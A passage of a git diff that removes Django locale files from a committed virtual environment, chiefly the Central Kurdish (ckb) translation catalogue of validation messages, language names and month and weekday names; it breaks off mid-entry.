'31/12/09' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", - "%d/%m/%Y %H:%M:%S.%f", - "%d/%m/%Y %H:%M", - "%d/%m/%y %H:%M:%S", - "%d/%m/%y %H:%M:%S.%f", - "%d/%m/%y %H:%M", -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ckb/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ckb/LC_MESSAGES/django.mo deleted file mode 100644 index 39b91089..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ckb/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ckb/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ckb/LC_MESSAGES/django.po deleted file mode 100644 index 1caebbc6..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ckb/LC_MESSAGES/django.po +++ /dev/null @@ -1,1332 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bawar Jalal, 2021 -# Bawar Jalal, 2020-2021 -# Bawar Jalal, 2020 -# Kosar Tofiq Saeed , 2020-2021 -# Swara , 2022-2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: Swara , 2022-2024\n" -"Language-Team: Central Kurdish (http://app.transifex.com/django/django/" -"language/ckb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ckb\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "ئەفریقی" - -msgid "Arabic" -msgstr "عەرەبی" - -msgid "Algerian Arabic" -msgstr "عەرەبیی جەزائیری" - -msgid "Asturian" -msgstr "ئاستوری" - -msgid "Azerbaijani" -msgstr "ئازەربایجانی" - -msgid "Bulgarian" -msgstr "بولگاری" - -msgid "Belarusian" -msgstr "بیلاڕوسی" - -msgid "Bengali" -msgstr "بەنگالی" - -msgid "Breton" -msgstr "بریتۆنی" - -msgid "Bosnian" -msgstr "بۆسنێیی" - -msgid "Catalan" -msgstr "کاتالانی" - -msgid "Central Kurdish (Sorani)" -msgstr "کوردی" - -msgid "Czech" -msgstr "چیکی" - -msgid "Welsh" -msgstr "وێڵزی" - -msgid "Danish" -msgstr "دانیمارکی" - -msgid "German" -msgstr "ئەڵمانی" - -msgid "Lower Sorbian" -msgstr "سۆربیانی خواروو" - -msgid "Greek" -msgstr "یۆنانی" - -msgid "English" -msgstr "ئینگلیزی" - -msgid "Australian English" -msgstr "ئینگلیزی ئوستورالی" - -msgid "British English" -msgstr "ئینگلیزی بەریتانی" - -msgid "Esperanto" -msgstr "ئێسپەرانتەویی" - -msgid "Spanish" -msgstr "ئیسپانی" - -msgid "Argentinian Spanish" -msgstr "ئیسپانیی ئەرجەنتینی" - -msgid "Colombian Spanish" -msgstr "ئیسپانیی کۆڵۆمبی" - -msgid "Mexican Spanish" -msgstr "ئیسپانیی مەکسیکی" - -msgid "Nicaraguan Spanish" -msgstr "ئیسپانیی نیکاراگوایی" - -msgid "Venezuelan Spanish" -msgstr "ئیسپانیی فەنزوێلایی" - -msgid "Estonian" -msgstr "ئیستۆنی" - -msgid "Basque" -msgstr "باسکۆیی" - -msgid "Persian" -msgstr "فارسی" - -msgid "Finnish" -msgstr "فینلەندی" - -msgid "French" -msgstr "فەڕەنسی" - -msgid "Frisian" -msgstr "فریسی" - -msgid "Irish" -msgstr "ئیرلەندی" - -msgid "Scottish Gaelic" -msgstr "گالیکی سکۆتلەندی" - -msgid "Galician" -msgstr "گالیسیایی" - -msgid "Hebrew" -msgstr "ئیسرائیلی" - -msgid "Hindi" -msgstr "هیندی" - -msgid "Croatian" -msgstr "کڕواتی" - -msgid "Upper Sorbian" -msgstr "سڕبی سەروو" - -msgid "Hungarian" -msgstr "هەنگاری" - -msgid "Armenian" -msgstr "ئەرمەنی" - -msgid "Interlingua" -msgstr "ئینتەرلینگوایی" - -msgid "Indonesian" -msgstr "ئیندۆنیزی" - -msgid "Igbo" -msgstr "ئیگبۆیی" - -msgid "Ido" -msgstr "ئیدۆیی" - -msgid "Icelandic" -msgstr "ئایسلەندی" - -msgid "Italian" -msgstr "ئیتاڵی" - -msgid "Japanese" -msgstr "یابانی" - -msgid "Georgian" -msgstr "جۆرجی" - -msgid "Kabyle" -msgstr "کابایلی" - -msgid "Kazakh" -msgstr "کازاخی" - -msgid "Khmer" -msgstr "خەمیری" - -msgid "Kannada" -msgstr "کانێدایی" - -msgid "Korean" -msgstr "کۆری" - -msgid "Kyrgyz" -msgstr "کیرگزستانی" - -msgid "Luxembourgish" -msgstr "لۆکسەمبۆرگی" - -msgid "Lithuanian" -msgstr "لیتوانی" - -msgid "Latvian" -msgstr "لاتیڤی" - -msgid "Macedonian" -msgstr "مەسەدۆنی" - -msgid "Malayalam" -msgstr "مەلایالامی" - -msgid "Mongolian" -msgstr "مەنگۆلی" - -msgid "Marathi" -msgstr "ماراسی" - -msgid "Malay" -msgstr "مالایی" - -msgid "Burmese" -msgstr "بورمایی" - -msgid "Norwegian Bokmål" -msgstr "بۆکامۆلی نەرویجی" - -msgid "Nepali" -msgstr "نیپاڵی" - -msgid "Dutch" -msgstr "هۆڵەندی" - -msgid "Norwegian Nynorsk" -msgstr "نینۆرسکی نەرویجی" - -msgid "Ossetic" -msgstr "ئۆسیتی" - -msgid "Punjabi" -msgstr "پونجابی" - -msgid "Polish" -msgstr "پۆڵۆنی" - -msgid "Portuguese" -msgstr "پورتوگالی" - -msgid "Brazilian Portuguese" -msgstr "پورتوگالیی بەڕازیلی" - -msgid "Romanian" -msgstr "ڕۆمانیایی" - -msgid "Russian" -msgstr "ڕووسی" - -msgid "Slovak" -msgstr "سلۆڤاکی" - -msgid "Slovenian" -msgstr "سلۆڤینیایی" - -msgid "Albanian" -msgstr "ئەلبانی" - -msgid "Serbian" -msgstr "سڕبی" - -msgid "Serbian Latin" -msgstr "سڕبیی لاتین" - -msgid "Swedish" -msgstr "سویدی" - -msgid "Swahili" -msgstr "سواهیلی" - -msgid "Tamil" -msgstr "تامیلی" - -msgid "Telugu" -msgstr "تێلوگویی" - -msgid "Tajik" -msgstr "تاجیکی" - -msgid "Thai" -msgstr "تایلاندی" - -msgid "Turkmen" -msgstr "تورکمانی" - -msgid "Turkish" -msgstr "تورکی" - -msgid "Tatar" -msgstr "تاتاری" - -msgid "Udmurt" -msgstr "ئودمورتی" - -msgid "Uyghur" -msgstr "ئۆیغور" - -msgid "Ukrainian" -msgstr "ئۆکرانی" - -msgid "Urdu" -msgstr "ئوردویی" - -msgid "Uzbek" -msgstr "ئۆزبەکی" - -msgid "Vietnamese" -msgstr "ڤێتنامی" - -msgid "Simplified Chinese" -msgstr "چینی سادەکراو" - -msgid "Traditional Chinese" -msgstr "چینی کلاسیکی" - -msgid "Messages" -msgstr "پەیامەکان" - -msgid "Site Maps" -msgstr "نەخشەکانی پێگە" - -msgid "Static Files" -msgstr "فایلە نەگۆڕەکان" - -msgid "Syndication" -msgstr "هاوبەشکردن" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "ئەو ژمارەی پەڕەیە ژمارەی تەواو نییە" - -msgid "That page number is less than 1" -msgstr "ئەو ژمارەی پەڕەیە لە 1 کەمترە" - -msgid "That page contains no results" -msgstr "ئەو پەڕەیە هیچ ئەنجامێکی تێدا نییە" - -msgid "Enter a valid value." -msgstr "نرخێکی دروست لەناودابنێ." - -msgid "Enter a valid domain name." -msgstr "پاوەن/دۆمەینی دروست بنوسە." - -msgid "Enter a valid URL." -msgstr "URL ی دروست لەناودابنێ." - -msgid "Enter a valid integer." -msgstr "ژمارەیەکی تەواو لەناودابنێ" - -msgid "Enter a valid email address." -msgstr "ناونیشانێکی ئیمەیڵی دروست لەناودابنێ" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "\"سلەگ\"ێکی دروست بنوسە کە پێکهاتووە لە پیت، ژمارە، ژێرهێڵ یان هێڵ." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"\"سلەگ\"ێکی دروست بنوسە کە پێکهاتووە لە پیتی یونیکۆد، ژمارە، هێڵی ژێرەوە، " -"یان هێما." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "ناونیشانی %(protocol)s دروست بنوسە." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 یان IPv6" - -msgid "Enter only digits separated by commas." -msgstr "تەنها ژمارە لەناودابنێ بە فاریزە جیاکرابێتەوە." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "دڵنیاببە ئەم نرخە %(limit_value)sە (ئەوە %(show_value)sە). " - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "دڵنیاببە ئەم نرخە کەمترە یاخود یەکسانە بە %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "دڵنیاببە ئەم نرخە گەورەترە یاخود یەکسانە بە %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "دڵنیابە کە ئەم بەهایە چەندانێکە لە قەبارەی هەنگاوی%(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"دڵنیابە ئەم بەهایە چەند هێندەیەکی قەبارەی هەنگاوەکانە %(limit_value)s, " -"دەستپێدەکات لە %(offset)s، بۆ نموونە %(offset)s، %(valid_value1)s، " -"%(valid_value2)s، هتد." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"دڵنیابە ئەم بەهایە لانیکەم %(limit_value)d نوسەی هەیە (%(show_value)d هەیە)." -msgstr[1] "" -"دڵنیابە ئەم بەهایە لانیکەم %(limit_value)d نوسەی هەیە (%(show_value)d هەیە)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"دڵنیابە ئەم بەهایە لانی زۆر %(limit_value)d نوسەی هەیە (%(show_value)d هەیە)." -msgstr[1] "" -"دڵنیابە ئەم بەهایە لانی زۆر %(limit_value)d نوسەی هەیە (%(show_value)d هەیە)." - -msgid "Enter a number." -msgstr "ژمارەیەک بنوسە." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "دڵنیابە لەوەی بەگشتی زیاتر لە %(max)s ژمارە نیە." -msgstr[1] "دڵنیابە لەوەی بەگشتی زیاتر لە %(max)s ژمارە نیە." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "دڵنیابە لەوەی بەگشتی زیاتر لە %(max)s ژمارەی دەیی نیە." -msgstr[1] "دڵنیابە لەوەی بەگشتی زیاتر لە %(max)s ژمارەی دەیی نیە." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "دڵنیابە لەوەی زیاتر نیە لە %(max)s ژمارە پێش خاڵی ژمارەی دەیی." -msgstr[1] "دڵنیابە لەوەی زیاتر نیە لە %(max)s ژمارە پێش خاڵی ژمارەی دەیی." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"پەڕگەپاشبەندی “%(extension)s” ڕێگەپێنەدراوە. پاشبنەدە ڕێگەپێدراوەکان: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "نوسەی بەتاڵ ڕێگەپێنەدراوە." - -msgid "and" -msgstr "و" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s لەگەڵ %(field_labels)s پێشتر تۆمارکراوە." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "سنوردارکردنی “%(name)s” پێشێلکراوە." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "بەهای %(value)r هەڵبژاردەیەکی دروست نیە." - -msgid "This field cannot be null." -msgstr "ئەم خانەیە نابێت پووچ بێت." - -msgid "This field cannot be blank." -msgstr "ئەم خانەیە نابێت بەتاڵ بێت." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s لەگەڵ %(field_label)s پێشتر تۆمارکراوە." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s دەبێت بێهاوتا بێت بۆ %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "خانە لە جۆری: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "بەهای “%(value)s” دەبێت دروست یان چەوت بێت." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "بەهای “%(value)s” دەبێت یان دروست، یان چەوت یان هیچ بێت." - -msgid "Boolean (Either True or False)" -msgstr "بولی (یان دروست یان چەوت)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "ڕیزبەند (تا %(max_length)s)" - -msgid "String (unlimited)" -msgstr "ڕیز(بێسنوور)" - -msgid "Comma-separated integers" -msgstr "ژمارە تەواوەکان بە کۆما جیاکراونەتەوە" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"بەهای “%(value)s” شێوازی بەروارێکی نادروستی هەیە. دەبێت بەشێوازی YYYY-MM-DD " -"بێت." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"بەهای “%(value)s” شێوازێکی تەواوی هەیە (YYYY-MM-DD) بەڵام بەروارێکی هەڵەیە." - -msgid "Date (without time)" -msgstr "بەروار (بەبێ کات)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"بەهای “%(value)s” شێوازێکی نادروستی هەیە. دەبێت بەشێوەی YYYY-MM-DD HH:MM[:" -"ss[.uuuuuu]][TZ] بێت." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"بەهای “%(value)s” شێوازێکی دروستی هەیە (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) " -"بەروار/کاتێکی نادروستە." - -msgid "Date (with time)" -msgstr "بەروار (لەگەڵ کات)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "بەهای “%(value)s” دەبێت ژمارەیەکی دەیی بێت." - -msgid "Decimal number" -msgstr "ژمارەی دەیی" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"بەهای “%(value)s” شێوازێکی هەڵەی هەیە. دەبێت بەشێوەی [DD] [[HH:]MM:]ss[." -"uuuuuu] format بێت." - -msgid "Duration" -msgstr "ماوە" - -msgid "Email address" -msgstr "ناونیشانی ئیمەیڵ" - -msgid "File path" -msgstr "ڕێڕەوی پەڕگە" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "بەهای “%(value)s” دەبێت ژمارەی کەرتی بێت." - -msgid "Floating point number" -msgstr "خاڵی ژمارەی کەرتی" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "بەهای “%(value)s” دەبێت ژمارەی تەواو بێت." - -msgid "Integer" -msgstr "ژمارەی تەواو" - -msgid "Big (8 byte) integer" -msgstr "(8بایت) ژمارەی تەواوی گەورە" - -msgid "Small integer" -msgstr "ژمارەی تەواوی بچوک" - -msgid "IPv4 address" -msgstr "ناونیشانی IPv4" - -msgid "IP address" -msgstr "ناونیشانی ئای پی" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "بەهای “%(value)s” دەبێت یان هیچ، یان دروست یان چەوت بێت." - -msgid "Boolean (Either True, False or None)" -msgstr "بولی (یان دروست یان چەوت یان هیچ)" - -msgid "Positive big integer" -msgstr "ژمارەی تەواوی گەورەی ئەرێنی" - -msgid "Positive integer" -msgstr "ژمارەی تەواوی ئەرێنی" - -msgid "Positive small integer" -msgstr "ژمارەی تەواوی بچوکی ئەرێنی" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "سلەگ (تا %(max_length)s)" - -msgid "Text" -msgstr "نوسین" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"بەهای “%(value)s” شێوازێکی هەڵەی هەیە. دەبێت بەشێوەی HH:MM[:ss[.uuuuuu]] بێت." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” بەهاکە شێوازێکی دروستی هەیە (HH:MM[:ss[.uuuuuu]]) بەڵام کاتێکی " -"نادروستە." - -msgid "Time" -msgstr "کات" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "داتای دووانەیی خاو" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s ” UUIDێکی دروستی نیە." - -msgid "Universally unique identifier" -msgstr "ناسێنەرێکی بێهاوتای گشتگیر" - -msgid "File" -msgstr "پەڕگە" - -msgid "Image" -msgstr "وێنە" - -msgid "A JSON object" -msgstr "ئۆبجێکتێکی JSON" - -msgid "Value must be valid JSON." -msgstr "بەها پێویستە JSONی دروست بێت." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s هاوشێوەیە لەگەڵ %(field)s %(value)r نیە." - -msgid "Foreign Key (type determined by related field)" -msgstr "کلیلی دەرەکی(جۆر بەپێی خانەی پەیوەندیدار دیاری دەکرێت)" - -msgid "One-to-one relationship" -msgstr "پەیوەندیی یەک-بۆ-یەک" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s پەیوەندی" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s پەیوەندییەکان" - -msgid "Many-to-many relationship" -msgstr "پەیوەندیی گشت-بۆ-گشت" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":؟.!" - -msgid "This field is required." -msgstr "ئەم خانەیە داواکراوە." - -msgid "Enter a whole number." -msgstr "ژمارەیەکی تەواو بنوسە." - -msgid "Enter a valid date." -msgstr "بەرواری دروست بنوسە." - -msgid "Enter a valid time." -msgstr "تکایە کاتێکی ڕاست بنووسە." - -msgid "Enter a valid date/time." -msgstr "بەروار/کاتی دروست بنوسە." - -msgid "Enter a valid duration." -msgstr "بەهای دروستی ماوە بنوسە." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "ژمارەی ڕۆژەکان دەبێت لەنێوان {min_days} و {max_days} بێت." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "هیچ پەڕگەیەک نەنێردراوە. جۆری کۆدکردنی پەڕگەکە لەسەر فۆرمەکە بپشکنە." - -msgid "No file was submitted." -msgstr "هیچ پەڕگەیەک نەنێردراوە." - -msgid "The submitted file is empty." -msgstr "پەڕگەی نێردراو بەتاڵە." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "دڵنیابە کە ناوی پەڕگە زیاتر لە %(max)d نوسەی نیە (%(length)d هەیە)." -msgstr[1] "دڵنیابە کە ناوی پەڕگە زیاتر لە %(max)d نوسەی نیە (%(length)d هەیە)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"تکایە یان پەڕگەیەک بنێرە یان چوارچێوەی پشکنین هەڵبژێرە، نەک هەردووکیان." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"وێنەی دروست هەڵبژێرە. ئەو پەڕگەی بەرزتکردۆوە یان وێنە نیە یان وێنەیەکی خراپ " -"بووە." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"هەڵبژاردەیەکی دروست دیاری بکە. %(value)s یەکێک نیە لە هەڵبژاردە بەردەستەکان." - -msgid "Enter a list of values." -msgstr "لیستی بەهاکان بنوسە." - -msgid "Enter a complete value." -msgstr "تەواوی بەهایەک بنوسە." - -msgid "Enter a valid UUID." -msgstr "بەهای دروستی UUID بنوسە." - -msgid "Enter a valid JSON." -msgstr "JSONی دروست بنوسە." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(خانەی شاراوە %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"داتاکانی فۆڕمی بەڕێوەبردن نەماوە یان دەستکاری کراون. خانە وونبووەکان: " -"%(field_names)s. لەوانەیە پێویستت بە تۆمارکردنی ڕاپۆرتی هەڵە بێت ئەگەر " -"کێشەکە بەردەوام بوو." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "تکایە لانی زۆر %(num)d فۆرم بنێرە." -msgstr[1] "تکایە لانی زۆر %(num)d فۆرم بنێرە." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "تکایە لانی کەم %(num)d فۆرم بنێرە." -msgstr[1] "تکایە لانی کەم %(num)d فۆرم بنێرە." - -msgid "Order" -msgstr "ڕیز" - -msgid "Delete" -msgstr "سڕینەوە" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "تکایە داتا دووبارەکراوەکان چاکبکەرەوە بۆ %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"تکایە ئەو داتا دووبارەکراوەکانە چاکبکەرەوە بۆ %(field)s، کە دەبێت بێهاوتابن." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"تکایە ئەو داتا دووبارەکراوەکان چاکبکەرەوە بۆ %(field_name)s کە دەبێت بێهاوتا " -"بن بۆ %(lookup)s لە%(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "تکایە بەها دووبارەکانی خوارەوە ڕاست بکەرەوە." - -msgid "The inline value did not match the parent instance." -msgstr "بەهای ناوهێڵ هاوشێوەی نمونەی باوانەکەی نیە." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "هەڵبژاردەی دروست دیاری بکە. هەڵبژاردە لە هەڵبژاردە بەردەستەکان نیە." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” بەهایەکی دروست نیە." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s نەتوانرا لە ناوچەی کاتدا لێکبدرێتەوە %(current_timezone)s؛ " -"لەوانەیە ناڕوون بێت یان لەوانەیە بوونی نەبێت." - -msgid "Clear" -msgstr "پاککردنەوە" - -msgid "Currently" -msgstr "ئێستا" - -msgid "Change" -msgstr "گۆڕین" - -msgid "Unknown" -msgstr "نەزانراو" - -msgid "Yes" -msgstr "بەڵێ" - -msgid "No" -msgstr "نەخێر" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "بەڵێ،نەخێر،لەوانەیە" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)dبایت" -msgstr[1] "%(size)d بایت" - -#, python-format -msgid "%s KB" -msgstr "%s کب" - -#, python-format -msgid "%s MB" -msgstr "%s مب" - -#, python-format -msgid "%s GB" -msgstr "%s گب" - -#, python-format -msgid "%s TB" -msgstr "%s تب" - -#, python-format -msgid "%s PB" -msgstr "%s پب" - -msgid "p.m." -msgstr "پ.ن" - -msgid "a.m." -msgstr "پ.ن" - -msgid "PM" -msgstr "د.ن" - -msgid "AM" -msgstr "پ.ن" - -msgid "midnight" -msgstr "نیوەشەو" - -msgid "noon" -msgstr "نیوەڕۆ" - -msgid "Monday" -msgstr "دووشەممە" - -msgid "Tuesday" -msgstr "سێشەممە" - -msgid "Wednesday" -msgstr "چوارشەممە" - -msgid "Thursday" -msgstr "پێنجشەممە" - -msgid "Friday" -msgstr "هەینی" - -msgid "Saturday" -msgstr "شەممە" - -msgid "Sunday" -msgstr "یەکشەممە" - -msgid "Mon" -msgstr "دوو" - -msgid "Tue" -msgstr "سێ" - -msgid "Wed" -msgstr "چوار" - -msgid "Thu" -msgstr "پێنج" - -msgid "Fri" -msgstr "هەین" - -msgid "Sat" -msgstr "شەم" - -msgid "Sun" -msgstr "یەک" - -msgid "January" -msgstr "ڕێبەندان" - -msgid "February" -msgstr "ڕەشەمە" - -msgid "March" -msgstr "نەورۆز" - -msgid "April" -msgstr "گوڵان" - -msgid "May" -msgstr "جۆزەردان" - -msgid "June" -msgstr "پوشپەڕ" - -msgid "July" -msgstr "گەلاوێژ" - -msgid "August" -msgstr "خەرمانان" - -msgid "September" -msgstr "ڕەزبەر" - -msgid "October" -msgstr "گەڵاڕێزان" - -msgid "November" -msgstr "سەرماوەرز" - -msgid "December" -msgstr "بەفرانبار" - -msgid "jan" -msgstr "‎ڕێبەندان" - -msgid "feb" -msgstr "ڕەشەمە" - -msgid "mar" -msgstr "نەورۆز" - -msgid "apr" -msgstr "گوڵان" - -msgid "may" -msgstr "‎جۆزەردان" - -msgid "jun" -msgstr "پوشپەڕ" - -msgid "jul" -msgstr "‎گەلاوێژ" - -msgid "aug" -msgstr "خەرمانان" - -msgid "sep" -msgstr "‎ڕەزبەر" - -msgid "oct" -msgstr "‎گەڵاڕێزان" - -msgid "nov" -msgstr "‎سەرماوەرز" - -msgid "dec" -msgstr "‎بەفرانبار" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "‎ڕێبەندان" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "ڕەشەمە" - -msgctxt "abbrev. month" -msgid "March" -msgstr "نەورۆز" - -msgctxt "abbrev. month" -msgid "April" -msgstr "گوڵان" - -msgctxt "abbrev. month" -msgid "May" -msgstr "جۆزەردان" - -msgctxt "abbrev. month" -msgid "June" -msgstr "پوشپەڕ" - -msgctxt "abbrev. month" -msgid "July" -msgstr "گەلاوێژ" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "خەرمانان" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "ڕەزبەر" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "‎گەڵاڕێزان" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "‎سەرماوەرز" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "‎بەفرانبار" - -msgctxt "alt. month" -msgid "January" -msgstr "ڕێبەندان" - -msgctxt "alt. month" -msgid "February" -msgstr "ڕەشەمە" - -msgctxt "alt. month" -msgid "March" -msgstr "نەورۆز" - -msgctxt "alt. month" -msgid "April" -msgstr "گوڵان" - -msgctxt "alt. month" -msgid "May" -msgstr "جۆزەردان" - -msgctxt "alt. month" -msgid "June" -msgstr "پوشپەڕ" - -msgctxt "alt. month" -msgid "July" -msgstr "گەلاوێژ" - -msgctxt "alt. month" -msgid "August" -msgstr "خەرمانان" - -msgctxt "alt. month" -msgid "September" -msgstr "ڕەزبەر" - -msgctxt "alt. month" -msgid "October" -msgstr "گەڵاڕێزان" - -msgctxt "alt. month" -msgid "November" -msgstr "سەرماوەرز" - -msgctxt "alt. month" -msgid "December" -msgstr "بەفرانبار" - -msgid "This is not a valid IPv6 address." -msgstr "ئەمە ناونیشانی IPv6 دروست نیە." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s..." - -msgid "or" -msgstr "یان" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "، " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "‫%(num)d ساڵ" -msgstr[1] "‫%(num)d ساڵ" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "‫%(num)d مانگ" -msgstr[1] "‫%(num)d مانگ" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "‫%(num)d هەفتە" -msgstr[1] "‫%(num)d هەفتە" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] 